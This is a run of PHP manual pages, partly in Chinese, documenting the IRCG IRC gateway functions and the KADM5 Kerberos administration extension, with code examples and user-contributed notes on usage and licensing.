2005/08/09/ircg-27-last-bsd-licensed-version/ (link broken into two lines)

I haven't tried the IRC packages in PEAR, but I'd suspect that ircg is much faster and better in handling high amounts of connections, since these things are rather tricky to do in php.
howanghk NOSPAM at gmail NOSPAM dot com
28-Jul-2005 06:57
In fact, this IRCG is shareware (which limit to 10 connections at one time only) and useless!
The real solution is the Net_SmartIRC PEAR Package http://pear.php.net/package/Net_SmartIRC/
The Net_SmartIRC package provide all the function that you need with IRC and it is possible for you to send a raw command to the IRC server. I highly recommand you to use Net_SmartIRC instead of IRCG!
Sami Fouad
27-Apr-2005 06:39
Yes, the newer versions are shareware, but the older version is not so I don't see why this should be removed. And it is still freely available on his website here: http://www.schumann.cx/ircg/windows.php

But as the URL might indicate to you, it's Win32 servers only.
karl dot robert at gmail dot com
13-Jan-2005 08:43
ircg 3 and 4 are shareware, but ircg 2 was bsd-licenced. I still have that version (sasha schumann pulled it from his website - i wonder why). Send me an email if you want it.
16-Apr-2004 09:50
watch out, ircg is shareware as it seems.
Quoting from http://schumann.cx/ircg/ircg4.php :
The IRCG 4 Free Trial does not allow more than 10 concurrent connections
Answer: The IRCG 4 Free Trial is limited to 10 concurrent connections. You can buy an unlimited license by contacting us here.

Poor job, documentation team. Do you like promoting shareware in your manual just because its from a core developer?
meebey at php dot net
02-Jun-2003 07:23
If you just need an IRC client/bot in PHP without this IRCG extension, you want to look at the PEAR::SmartIRC class. Here the direct link to this class: http://pear.php.net/package-info.php?pacid=146
darkelder at php dot net
12-Nov-2002 01:16
This is an example to show how to connect to a IRC server, how to join a channel, send and receive messages.

<?PHP

/* change it to your own nickname                                              */
$nickname              = "myOwnNick";
/* choice your irc server                                                      */
$server                = "irc.brasirc.net";
/* change to your channel                                                      */
$channel                = "#linux";
/* do not change it if you do not know what means :-)                          */
$port                  = "6667";

/* as ircg cannot resolve hosts, we use PHP internal function to get the IP    */
$ip                    = gethostbyname($server);

/* connection                                                                  */
$id                    = ircg_pconnect($nickname,$ip,$port);

/* checking if  connected                                                      */
if (!ircg_is_conn_alive($id))
{
       print "Cannot connect<br>";
       exit;
}

/* joining a channel                                                            */
if (!ircg_join($id,$channel))
{
       print "Cannot join to $chanell<br>";
}

/* getting messages - you must have this in your php file                      */
ircg_set_current($id);

/* send messages to your channel and you                                        */
ircg_msg($id,$channel,"Hello $channel!!");
ircg_msg($id,$nickname,"This message goes to me!!!");

?>
ssruprai at hotmail dot com
03-May-2002 09:55
You may face problems with php 4.20 configure script when using "--with-ircg-config" without providing any path to script file. When it tries to configure ircg it just starts printing --ldflags continuously.

checking for IRCG support... yes
--ldflags
--ldflags
--ldflags
--ldflags
--ldflags
--ldflags
--ldflags
--ldflags

So always provide path to ircg-config file as in --with-ircg-config=/user/local/bin/ircg-config
add a note add a note

后退 | 起点 | 前进
ingres_rollback | 上一级 | ircg_channel_mode


ircg_channel_mode

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_channel_mode -- Set channel mode flags for user

Description

bool ircg_channel_mode ( resource connection, string channel, string mode_spec, string nick )

Set channel mode flags for channel on server connected to by connection. Mode flags are passed in mode_spec and are applied to the user specified by nick.

Mode flags are set or cleared by specifying a mode character and prepending it with a plus or minus character, respectively. E.g. operator mode is granted by '+o' and revoked by '-o', as passed as mode_spec.

add a note add a note User Contributed Notes
lanzer22 at yahoo dot com
18-Jun-2003 04:56
To grant rights to user named "admin", the following did not work for me:

ircg_channel_mode($session_id, "#test", "+o", "admin");

instead, try:

ircg_channel_mode($session_id, "#test", "+o admin");

Have fun!
add a note add a note

后退 | 起点 | 前进
IRC Gateway Functions | 上一级 | ircg_disconnect


ircg_disconnect

(PHP 4 >= 4.0.4, PHP 5 <= 5.0.4)

ircg_disconnect -- Close connection to server

Description

bool ircg_disconnect ( resource connection, string reason )

ircg_disconnect() will close a connection to a server previously established with ircg_pconnect().

See also: ircg_pconnect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_channel_mode | 上一级 | ircg_eval_ecmascript_params


ircg_eval_ecmascript_params

(PHP 4 >= 4.3.0, PHP 5 <= 5.0.4)

ircg_eval_ecmascript_params -- Decodes a list of JS-encoded parameters

Description

array ircg_eval_ecmascript_params ( string params )

警告

本函数暂无文档，仅有参数列表。

From the ircg_eval_ecmascript_params source file:
   /*
    * State 0: Looking for ' or digit
    * State 1: Assembling parameter inside '..'
    * State 2: After escape sign: Copies single char verbatim, go to 1
    * State 3: Assembling numeric para, no quotation
    * State 4: Looking for ",", skipping whitespace
    */

See also ircg_lookup_format_messages().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_disconnect | 上一级 | ircg_fetch_error_msg


ircg_fetch_error_msg

(PHP 4 >= 4.1.0, PHP 5 <= 5.0.4)

ircg_fetch_error_msg -- Returns the error from previous IRCG operation

Description

array ircg_fetch_error_msg ( resource connection )

ircg_fetch_error_msg() returns the error from a failed connection.

注: Error code is stored in first array element, error text in second. The error code is equivalent to IRC reply codes as defined by RFC 2812.

例子 1. ircg_fetch_error_msg() example

<?php
if (!ircg_join ($id, "#php")) {
    $error = ircg_fetch_error_msg($id);
    echo "Can't join channel #php. Error code:
          $error[0] Description: $error[1]";
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_eval_ecmascript_params | 上一级 | ircg_get_username


ircg_get_username

(PHP 4 >= 4.1.0, PHP 5 <= 5.0.4)

ircg_get_username -- Get username for connection

Description

string ircg_get_username ( resource connection )

Function ircg_get_username() returns the username for the specified connection connection. Returns FALSE if connection died or is not valid.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_fetch_error_msg | 上一级 | ircg_html_encode


ircg_html_encode

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_html_encode -- Encodes HTML preserving output

Description

string ircg_html_encode ( string html_string [, bool auto_links [, bool conv_br]] )

Encodes a HTML string html_string for output. This exposes the interface which the IRCG extension uses internally to reformat data coming from an IRC link. The function causes IRC color/font codes to be encoded in HTML and escapes certain entities.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_get_username | 上一级 | ircg_ignore_add


ircg_ignore_add

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_ignore_add -- Add a user to your ignore list on a server

Description

void ircg_ignore_add ( resource connection, string nick )

This function adds user nick to the ignore list of connection connection. Afterwards, IRCG will suppress all messages from this user through the associated connection.

See also: ircg_ignore_del().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_html_encode | 上一级 | ircg_ignore_del


ircg_ignore_del

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_ignore_del -- Remove a user from your ignore list on a server

Description

bool ircg_ignore_del ( resource connection, string nick )

This function removes user nick from the IRCG ignore list associated with connection.

See also: ircg_ignore_add().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_ignore_add | 上一级 | ircg_invite


ircg_invite

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.4)

ircg_invite -- Invites nickname to channel

Description

bool ircg_invite ( resource connection, string channel, string nickname )

ircg_invite() will send an invitation to the user nickname, prompting him to join channel. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_ignore_del | 上一级 | ircg_is_conn_alive


ircg_is_conn_alive

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_is_conn_alive -- Check connection status

Description

bool ircg_is_conn_alive ( resource connection )

ircg_is_conn_alive() returns TRUE if connection is still alive and working or FALSE, if the connection has died for some reason.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_invite | 上一级 | ircg_join


ircg_join

(PHP 4 >= 4.0.4, PHP 5 <= 5.0.4)

ircg_join -- Join a channel on a connected server

Description

bool ircg_join ( resource connection, string channel [, string key] )

Join the channel channel on the server connected to by connection. IRCG will optionally pass the room key key.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_is_conn_alive | 上一级 | ircg_kick


ircg_kick

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_kick -- Kick a user out of a channel on server

Description

bool ircg_kick ( resource connection, string channel, string nick, string reason )

Kick user nick from channel on server connected to by connection. reason should give a short message describing why this action was performed.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_join | 上一级 | ircg_list


ircg_list

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.4)

ircg_list -- List topic/user count of channel(s)

Description

bool ircg_list ( resource connection, string channel )

ircg_list() will request a list of users in the channel. The answer is sent to the output defined by ircg_set_file() or ircg_set_current(). 如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. ircg_list() example

<?php

// connect to server
$id = ircg_pconnect($nickname, $ip, $port);

// set to output to a file
ircg_set_file($id, 'irc_output.html');

// try to join a channel
if (!ircg_join($id, $channel)) {
    echo "Cannot /join $channel<br />";
}

// send list command
ircg_list($id, $channel);

// wait for output to arrive
sleep(5);

// disconnect
ircg_disconnect($id,'Bye World');

// output everything
readfile('irc_output.html');

?>

This example will output something similar to:

...
Channel #channel has n users and the topic is 'Topic'
End of LIST
...

See also: ircg_set_file(),
ircg_set_current(), and
ircg_who().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_kick | 上一级 | ircg_lookup_format_messages


ircg_lookup_format_messages

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_lookup_format_messages -- Check for the existence of a format message set

Description

bool ircg_lookup_format_messages ( string name )

Check for the existence of the format message set name. Sets may be registered with ircg_register_format_messages(), a default set named ircg is always available. Returns TRUE, if the set exists and FALSE otherwise.

See also: ircg_register_format_messages()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_list | 上一级 | ircg_lusers


ircg_lusers

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.4)

ircg_lusers -- IRC network statistics

Description

bool ircg_lusers ( resource connection )

ircg_lusers() will request a statistical breakdown of users on the network connected to on connection. The answer is sent to the output defined by ircg_set_file() or ircg_set_current(). 如果成功则返回 TRUE，失败则返回 FALSE。

See also: ircg_set_file(), and ircg_set_current().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_lookup_format_messages | 上一级 | ircg_msg


ircg_msg

(PHP 4 >= 4.0.4, PHP 5 <= 5.0.4)

ircg_msg -- Send message to channel or user on server

Description

bool ircg_msg ( resource connection, string recipient, string message [, bool suppress] )

ircg_msg() will send the message to a channel or user on the server connected to by connection. A recipient starting with # or & will send the message to a channel, anything else will be interpreted as a username.

Setting the optional parameter suppress to a TRUE value will suppress output of your message to your own connection. This so-called loopback is necessary, because the IRC server does not echo PRIVMSG commands back to us.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_lusers | 上一级 | ircg_names


ircg_names

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.4)

ircg_names -- Query visible usernames

Description

bool ircg_names ( int connection, string channel [, string target] )

警告

本函数暂无文档，仅有参数列表。

See also ircg_get_username() and ircg_lusers().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_msg | 上一级 | ircg_nick


ircg_nick

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_nick -- Change nickname on server

Description

bool ircg_nick ( resource connection, string nick )

Change your nickname on the given connection to the one given in nick, if possible.

Will return TRUE on success and FALSE on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_names | 上一级 | ircg_nickname_escape


ircg_nickname_escape

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

ircg_nickname_escape -- Encode special characters in nickname to be IRC-compliant

Description

string ircg_nickname_escape ( string nick )

Function ircg_nickname_escape() returns an encoded nickname specified by nick which is IRC-compliant.

See also: ircg_nickname_unescape()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_nick | 上一级 | ircg_nickname_unescape


ircg_nickname_unescape

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

ircg_nickname_unescape -- Decodes encoded nickname

Description

string ircg_nickname_unescape ( string nick )

Function ircg_nickname_unescape() returns a decoded nickname, which is specified in nick.

See also: ircg_nickname_escape()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_nickname_escape | 上一级 | ircg_notice


ircg_notice

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_notice -- Send a notice to a user on server

Description

bool ircg_notice ( resource connection, string recipient, string message )

This function will send the message text to the user nick on the server connected to by connection. IRC servers and other software will not automatically generate replies to NOTICEs in contrast to other message types.

add a note add a note User Contributed Notes
Turyan at Taladas dot de
01-Jul-2004 06:11
Just a small correction in the syntax above ;)

string -> string nick

boolean ircg_notice (resource connection, string nick, string message)
add a note add a note

后退 | 起点 | 前进
ircg_nickname_unescape | 上一级 | ircg_oper


ircg_oper

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.4)

ircg_oper -- Elevates privileges to IRC OPER

Description

bool ircg_oper ( resource connection, string name, string password )

ircg_oper() will authenticate the logged in user on connection as an IRC operator. name and password must match a registered IRC operator account. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_notice | 上一级 | ircg_part


ircg_part

(PHP 4 >= 4.0.4, PHP 5 <= 5.0.4)

ircg_part -- Leave a channel on server

Description

bool ircg_part ( resource connection, string channel )

Leave the channel channel on the server connected to by connection.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_oper | 上一级 | ircg_pconnect


ircg_pconnect

(PHP 4 >= 4.0.4, PHP 5 <= 5.0.4)

ircg_pconnect -- Connect to an IRC server

Description

resource ircg_pconnect ( string username [, string server_ip [, int server_port [, string msg_format [, array ctcp_messages [, array user_settings [, bool bailout_on_trivial]]]]]] )

ircg_pconnect() will try to establish a connection to an IRC server and return a connection resource handle for further use.

The only mandatory parameter is username, this will set your initial nickname on the server. server_ip and server_port are optional and default to 127.0.0.1 and 6667.

注: For now parameter server_ip will not do any hostname lookups and will only accept IP addresses in numerical form. DNS lookups are expensive and should be done in the context of IRCG.

You can customize the output of IRC messages and events by selecting a format message set previously created with ircg_register_format_messages() by specifying the set's name in msg_format.

If you want to handle CTCP messages such as ACTION (/me), you need to define a mapping from CTCP type (e.g. ACTION) to a custom format string. Do this by passing an associative array as ctcp_messages. The keys of the array are the CTCP type and the respective value is the format message.

You can define "ident", "password", and "realname" tokens which are sent to the IRC server by setting these in an associative array. Pass that array as user_settings.

See also: ircg_disconnect(),
ircg_is_conn_alive(),
ircg_register_format_messages().

add a note add a note User Contributed Notes
zerocool at planetquake dot com
09-Aug-2001 04:46
Remember, to use these functions one must compile ircg support into PHP.  If you get a fatal error stating that ircg_pconnect is undefined, this is why.  See :

http://schumann.cx/ircg/
add a note add a note

后退 | 起点 | 前进
ircg_part | 上一级 | ircg_register_format_messages


ircg_register_format_messages

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_register_format_messages -- Register a format message set

Description

bool ircg_register_format_messages ( string name, array messages )

With ircg_register_format_messages() you can customize the way your IRC output looks like or which script functions are invoked on the client side.

  • Plain channel message

  • Private message received

  • Private message sent

  • Some user leaves channel

  • Some user enters channel

  • Some user was kicked from the channel

  • Topic has been changed

  • Error

  • Fatal error

  • Join list end(?)

  • Self part(?)

  • Some user changes his nick

  • Some user quits his connection

  • Mass join begin

  • Mass join element

  • Mass join end

  • Whois user

  • Whois server

  • Whois idle

  • Whois channel

  • Whois end

  • Voice status change on user

  • Operator status change on user

  • Banlist

  • Banlist end

  • %f - from

  • %t - to

  • %c - channel

  • %r - plain message

  • %m - encoded message

  • %j - js encoded message

  • 1 - mod encode

  • 2 - nickname decode

See also: ircg_lookup_format_messages().

add a note add a note User Contributed Notes
didou at keliglia dot com
25-Aug-2002 05:53
More about the 5 whois lines :

on ircg_whois($id_connexion,"dude") you'll get

First line : (user informations)
%f : dude
%t : dude's ident
%c : dude's remote address
%m : dude's name

Second line : (server informations)
%f : dude
%c : irc server adress
%r : homepage
%m : same as %r but with a <href> tag around

Third line : (inactivity)
%f : dude
%m : dude's idle in seconds

Fourth line : (where's dude at ?)
(one line per channel, nothing if dude set mode +i)
%f : dude
%c : the channel prefixed by '@' if dude is operator or 'v' if he's voiced

Fifth line : (end of the whois)
%f : dude

hope it will help !

Mehdi
sgriffith at ancients dot dhs dot org
06-Jun-2002 12:38
I am hoping to clarify a little bit about how this function works.

This function sets up the way that the IRC messages are formatted and delivered to the current connection.  Since this is a dynamic resource, you will likely need to either know or learn Jscript or something similar.

I am placing my format messages here so that you can see how to split it off and send the information to jscript functions for processing/updating.  I will leave it to you however to write the actual functions to handle the data..  I wouldnt want to spoil all the fun. :)  One last thing..  This is by NO MEANS the only way to use this library.  I am merely trying to help those that might be confused get a better understanding of the way the data is passed.

<?
//--- function begin ---
ircg_register_format_messages("MYIRC",
array(
"<script> reg_message('%c','%f','%r'); </script>\n",
"<script> receive_private_message('%f','%t','%j'); </script>\n",
"<script> send_private_message('%t','%f','%j'); </script>\n",
"<script> remove_chanuser('%1c','%f'); </script>\n",
"<script> single_userjoin('%c', '%f'); </script>\n",
"<script> kick_user('%1c','%1f','%1t','%j'); </script>\n",
"<script> change_topic('%f','%j'); </script>\n",
"<script> irc_error('%f','%t','%c','%m'); </script>\n",
"<script> fatal_error('%f','%t','%c','%m'); </script>\n",
"<script> end_joinlist('%f','%t','%c','%m'); </script>\n",
"<script> remove_channel(); </script>\n",
"<script> nick_change('%f','%t'); </script>\n",
"<script> user_quit_chat('%f','%c','%m'); </script>\n",
"<script> start_mass_join('%1c'); </script>\n",
"<script> massjoin_to_userlist('%c','%f'); </script>\n",
"<script> end_mass_join(); </script>\n",
"<script> whois_user('%f','%m'); </script>\n",
"<script> whois_serv('%f','%c','%m'); </script>\n",
"<script> whois_idle('%f','%m'); </script>\n",
"<script> whois_channel('%f','%c'); </script>\n",
"<script> whois_end('%f'); </script>\n",
"<script> voice_change('%f','%t','%c'); </script>\n",
"<script> op_change('%f','%t','%c'); </script>\n",
"<script> banlist_begin(); </script>\n",
"<script> banlist_end(); </script>\n",
));
//--- function end ---
?>

Good luck!

Scott
add a note add a note

后退 | 起点 | 前进
ircg_pconnect | 上一级 | ircg_set_current


ircg_set_current

(PHP 4 >= 4.0.4, PHP 5 <= 5.0.4)

ircg_set_current -- Set current connection for output

Description

bool ircg_set_current ( resource connection )

Select the current HTTP connection for output in this execution context. Every output sent from the server connected to by connection will be copied to standard output while using default formatting or a format message set specified by ircg_register_format_messages().

See also: ircg_register_format_messages().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_register_format_messages | 上一级 | ircg_set_file


ircg_set_file

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

ircg_set_file -- Set logfile for connection

Description

bool ircg_set_file ( resource connection, string path )

Function ircg_set_file() specifies a logfile path in which all output from connection connection will be logged. Returns TRUE on success, otherwise FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_set_current | 上一级 | ircg_set_on_die


ircg_set_on_die

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

ircg_set_on_die -- Set action to be executed when connection dies

Description

bool ircg_set_on_die ( resource connection, string host, int port, string data )

In case of the termination of connection connection IRCG will connect to host at port (Note: host must be an IPv4 address, IRCG does not resolve host-names due to blocking issues), send data to the new host connection and will wait until the remote part closes connection. This can be used to trigger a PHP script for example.

This feature requires IRCG 3.

add a note add a note User Contributed Notes
cysk at gmx dot de
06-Aug-2002 12:12
Remember that this is one of the functions which is only available in the enterprise version of the ircg library (currently ircg 3.0).

So this software is not realy 100% open-source, which is a bit poor..... :-(
add a note add a note

后退 | 起点 | 前进
ircg_set_file | 上一级 | ircg_topic


ircg_topic

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_topic -- Set topic for channel on server

Description

bool ircg_topic ( resource connection, string channel, string new_topic )

Change the topic for channel channel on the server connected to by connection to new_topic.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_set_on_die | 上一级 | ircg_who


ircg_who

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.4)

ircg_who -- Queries server for WHO information

Description

bool ircg_who ( resource connection, string mask [, bool ops_only] )

ircg_who() will request a list of users whose nickname is matching mask on connected network connection. The optional parameter ops_only will shrink the list to server operators only.

The answer is sent to the output defined by ircg_set_file() or ircg_set_current(). 如果成功则返回 TRUE，失败则返回 FALSE。

See also: ircg_set_file(), and ircg_set_current().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_topic | 上一级 | ircg_whois


ircg_whois

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

ircg_whois -- Query server for user information

Description

bool ircg_whois ( resource connection, string nick )

Sends a query to the connected server connection to ask for information about the specified user nick.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_who | 上一级 | KADM5


KADM5

PHP 手册
后退 前进

LX. KADM5

简介

These package allows you to access Kerberos V administration servers. You can create, modify, and delete Kerberos V principals and policies.

More information about Kerberos can be found at http://web.mit.edu/kerberos/www/.

Documentation for Kerberos and KADM5 can be found at http://web.mit.edu/kerberos/www/krb5-1.2/krb5-1.2.8/doc/admin_toc.html.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

Constants for Attribute Flags

The functions kadm5_create_principal(),
kadm5_modify_principal(), and
kadm5_modify_principal() allow to specify
special attributes using a bitfield. The symbols are defined below:

表格 1. Attributes for use by the KDC

constant
KRB5_KDB_DISALLOW_POSTDATED
KRB5_KDB_DISALLOW_FORWARDABLE
KRB5_KDB_DISALLOW_TGT_BASED
KRB5_KDB_DISALLOW_RENEWABLE
KRB5_KDB_DISALLOW_PROXIABLE
KRB5_KDB_DISALLOW_DUP_SKEY
KRB5_KDB_DISALLOW_ALL_TIX
KRB5_KDB_REQUIRES_PRE_AUTH
KRB5_KDB_REQUIRES_HW_AUTH
KRB5_KDB_REQUIRES_PWCHANGE
KRB5_KDB_DISALLOW_SVR
KRB5_KDB_PWCHANGE_SERVER
KRB5_KDB_SUPPORT_DESMD5
KRB5_KDB_NEW_PRINC

Constants for Options

The functions kadm5_create_principal(),
kadm5_modify_principal(), and
kadm5_get_principal() allow to specify or return
principal's options as an associative array. The keys for the associative
array are defined as string constants below:

表格 2. Options for creating/modifying/retrieving principals

constant | funcdef | description
KADM5_PRINCIPAL | long | The expire time of the princial as a Kerberos timestamp.
KADM5_PRINC_EXPIRE_TIME | long | The expire time of the princial as a Kerberos timestamp.
KADM5_LAST_PW_CHANGE | long | The time this principal's password was last changed.
KADM5_PW_EXPIRATION | long | The expire time of the principal's current password, as a Kerberos timestamp.
KADM5_MAX_LIFE | long | The maximum lifetime of any Kerberos ticket issued to this principal.
KADM5_MAX_RLIFE | long | The maximum renewable lifetime of any Kerberos ticket issued to or for this principal.
KADM5_MOD_NAME | string | The name of the Kerberos principal that most recently modified this principal.
KADM5_MOD_TIME | long | The time this principal was last modified, as a Kerberos timestamp.
KADM5_KVNO | long | The version of the principal's current key.
KADM5_POLICY | string | The name of the policy controlling this principal.
KADM5_CLEARPOLICY | long | Standard procedure is to assign the 'default' policy to new principals. KADM5_CLEARPOLICY suppresses this behaviour.
KADM5_LAST_SUCCESS | long | The KDC time of the last successfull AS_REQ.
KADM5_LAST_FAILED | long | The KDC time of the last failed AS_REQ.
KADM5_FAIL_AUTH_COUNT | long | The number of consecutive failed AS_REQs.
KADM5_RANDKEY | long | Generates a random password for the principal. The parameter password will be ignored.
KADM5_ATTRIBUTES | long | A bitfield of attributes for use by the KDC.

范例

This simple example shows how to connect, query, print resulting principals and disconnect from a KADM5 database.

例子 1. KADM5 extension overview example

<?php

  $handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

  print "<h1>get_principals</h1>\n";
  $principals = kadm5_get_principals($handle);
  for( $i=0; $i<count($principals); $i++)
      print "$principals[$i]<br>\n";

  print "<h1>get_policies</h1>\n";
  $policies = kadm5_get_policies($handle);
  for( $i=0; $i<count($policies); $i++)
      print "$policies[$i]<br>\n";

  print "<h1>get_principal burbach@GONICUS.LOCAL</h1>\n";

  $options = kadm5_get_principal($handle, "burbach@GONICUS.LOCAL" );
  $keys = array_keys($options);
  for( $i=0; $i<count($keys); $i++) {
    $value = $options[$keys[$i]];
    print "$keys[$i]: $value<br>\n";
  }

  $options = array(KADM5_PRINC_EXPIRE_TIME => 0);
  kadm5_modify_principal($handle, "burbach@GONICUS.LOCAL", $options);

  kadm5_destroy($handle);
?>

Contact Information

If you have comments, bugfixes, enhancements or want to help in developing this you can send me a mail at holger.burbach@gonicus.de. The project homepage can be found at http://oss.gonicus.de/project/?group_id=7.

目录
kadm5_chpass_principal -- Changes the principal's password
kadm5_create_principal -- Creates a kerberos principal with the given parameters
kadm5_delete_principal -- Deletes a kerberos principal
kadm5_destroy -- Closes the connection to the admin server and releases all related resources
kadm5_flush -- Flush all changes to the Kerberos database, leaving the connection to the Kerberos admin server open
kadm5_get_policies -- Gets all policies from the Kerberos database
kadm5_get_principal -- Gets the principal's entries from the Kerberos database
kadm5_get_principals -- Gets all principals from the Kerberos database
kadm5_init_with_password -- Opens a connection to the KADM5 library and initializes any neccessary state information
kadm5_modify_principal -- Modifies a kerberos principal with the given parameters

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ircg_whois | 上一级 | kadm5_chpass_principal


kadm5_chpass_principal

(PECL)

kadm5_chpass_principal -- Changes the principal's password

说明

bool kadm5_chpass_principal ( resource handle, string principal, string password )

kadm5_chpass_principal() sets the new password password for the principal.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Example of changing principal's password

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

kadm5_chpass_principal($handle, "burbach@GONICUS.LOCAL", "newpassword");

kadm5_destroy($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
KADM5 | 上一级 | kadm5_create_principal


kadm5_create_principal

(PECL)

kadm5_create_principal -- Creates a kerberos principal with the given parameters

说明

bool kadm5_create_principal ( resource handle, string principal [, string password [, array options]] )

kadm5_create_principal() creates a principal with the given password. If password is omitted or is NULL, a random key will be generated.

It is possible to specify several optional parameters within the array options. Allowed are the following options: KADM5_PRINC_EXPIRE_TIME, KADM5_PW_EXPIRATION, KADM5_ATTRIBUTES, KADM5_MAX_LIFE, KADM5_KVNO, KADM5_POLICY, KADM5_CLEARPOLICY, KADM5_MAX_RLIFE.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Example of principal's creation

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

$attributes = KRB5_KDB_REQUIRES_PRE_AUTH | KRB5_KDB_DISALLOW_PROXIABLE;
$options = array(KADM5_PRINC_EXPIRE_TIME => 0,
                 KADM5_POLICY => "default",
                 KADM5_ATTRIBUTES => $attributes);

kadm5_create_principal($handle, "burbach@GONICUS.LOCAL", "password", $options);

kadm5_destroy($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
kadm5_chpass_principal | 上一级 | kadm5_delete_principal


kadm5_delete_principal

(PECL)

kadm5_delete_principal -- Deletes a kerberos principal

说明

bool kadm5_delete_principal ( resource handle, string principal )

kadm5_delete_principal() remove the principal from the Kerberos database.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. kadm5_delete_principal() example

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

kadm5_delete_principal($handle, "burbach@GONICUS.LOCAL");

kadm5_destroy($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
kadm5_create_principal | 上一级 | kadm5_destroy


kadm5_destroy

(PECL)

kadm5_destroy -- Closes the connection to the admin server and releases all related resources

说明

bool kadm5_destroy ( resource handle )

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
kadm5_delete_principal | 上一级 | kadm5_flush


kadm5_flush

(PECL)

kadm5_flush -- Flush all changes to the Kerberos database, leaving the connection to the Kerberos admin server open

说明

bool kadm5_flush ( resource handle )

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
kadm5_destroy | 上一级 | kadm5_get_policies


kadm5_get_policies

(PECL)

kadm5_get_policies -- Gets all policies from the Kerberos database

说明

array kadm5_get_policies ( resource handle )

kadm5_get_policies() returns an array containing the policies's names.

返回值

Returns array of policies on success, or FALSE on failure.

范例

例子 1. kadm5_get_policies() example

<?php
$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

print "<h1>get_policies</h1>\n";
foreach (kadm5_get_policies($handle) as $policy) {
    echo "$policy<br />\n";
}

kadm5_destroy($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
